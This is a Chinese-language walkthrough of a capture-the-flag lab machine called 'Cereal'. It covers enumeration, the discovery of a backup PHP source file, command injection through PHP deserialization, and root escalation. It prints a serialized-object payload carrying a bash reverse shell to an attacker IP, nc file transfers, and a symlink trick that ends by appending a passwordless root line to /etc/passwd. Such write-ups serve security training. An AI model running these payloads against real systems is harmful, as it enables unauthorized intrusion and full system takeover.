目录
21端口上就是开放了ftp服务,这也是ftp默认端口,我们可以知道ftp服务器ip,还知道可以匿名登录
开放了常用的服务ssh和http服务
139 445一般部署的smb服务,只是基于不同的协议。
3306 mysql数据常用端口。这里显示允许连接。
至于其他端口,除了44441开放了一个http服务,剩下的没有太多有效信息,服务也都没扫出来
1.80
主页面没收获
源码:接口,隐藏目录,泄露源码都没发现。无收获
2.44441
更是啥都没有
1.80
(1)默认字典
直接扫,dir默认用common.txt跑,扫出来这些目录
可以一个wordpress(通过其他链接进行的判断)的后台登录界面,尝试弱口令无效
(2)/blog
有个域名信息,backup备份,
(3)phpinfo
可以了解到一些接口信息,配置文件信息,服务器语言运行环境(php)
2.44441
这里没有有效信息。
3.换个大字典跑
没有别的信息了
访问,结果还是一个Apache的默认页面。尝试去对这个域名下进行目录的爆破,根据提示,找备份文件,结果扒拉扒拉,还是一无所获。
1.80
2.44441
gobuster vhost -u http://cereal.ctf:44441 -w /usr/share/seclists/Discovery/DNS/fierce-hostlist.txt
这里发现了一个子域名
将ip和host文件进行绑定后访问,80还是和主界面一样
44441端口下部署了这样一个东西
这是一个执行ping操作的接口。而且调用了操作系统的ping命令
| && ;用这些尝试
尝试失败
很明显,这是一个php序列化后的数据,如何去利用这个反序列化,如何确定有没有反序列化漏洞。我们只能通过代码审计来确定是否存在反序列化漏洞,来构造payload。
(1)备份文件可能文件名
.svn .git
尝试失败
(2)备份目录爆破
结果出来有一个back_en路径,这一看就是备份文件路径
(3)备份文件
选用seclists下的conmon.txt来进行爆破,200状态正常
1.index.php.bak文件
这就是后端的代码
找一个php在线网站来执行就可
- <?php
- class pingTest {
- public $ipAddress = "192.168.0.106";
- public $isValid = True;
- }
- $obj = NEW pingTest;
- $serilaze= serialize($obj);
- echo urlencode($serilaze);
-
- ?>
在源码部分可以看到id命令执行成功执行
bash -i >& /dev/tcp/192.168.0.106/5555 0>&1
- <?php
- class pingTest {
- public $ipAddress = "192.168.0.106;bash -i >& /dev/tcp/192.168.0.106/5555 0>&1 ";
- public $isValid = True;
- }
- $obj = NEW pingTest;
- $serilaze= serialize($obj);
- echo urlencode($serilaze);
-
- ?>
突破边界,反弹成功:
总结:在前面的学习中,我们学到了很多的提权手段,内核漏洞,suid权限继承,sudo 权限的配置,motd注入,缓冲区溢出,利用redis未授权,用mysql写入公钥,这些手段在这里都无法提权。
1.pspy进程监视软件
简述:这个软件可以在是普通用户的情况下,可以监视root生成的进程。看是否有可用于提权的进程产生。
由于目标是64位的,我们也下载一个64位的。
2.通过nc传输
nc -nvlp 4444 > pspy
nc 192.168.0.104 4444 < pspy64 -w 1
3.执行pspy
第一步给权限,后执行
我叼,啥都有,不得不说这是个系统排查的神器。
4.chown.py
我们发现了一个异常文件,尝试对其进行分析
5.权限分析
属主属组全部是root,并且我们也是可以读的。
6.查看shell源码
主要就是对后面这个文件夹下的所有文件更改属主和属组为rocky:apache,那么我们可以通过链接的方式来改掉/etc/passwd的属组和属主,我们当前是apache群组。
7.通过软连接修改主和组
ln参数-f:
-f 促使 ln
命令替换掉任何已经存在的目的路径。如果目的路径已经存在,而没有指定 -f
标志,ln
命令不会创建新的链接,而是向标准错误写一条诊断消息并继续链接剩下的
SourceFiles。
8.十分钟漫长等待
可以看到文件已经被改掉了
9.追加root用户
echo "mhq::0:0:root:/root:/bin/bash" >> /etc/passwd
提权成功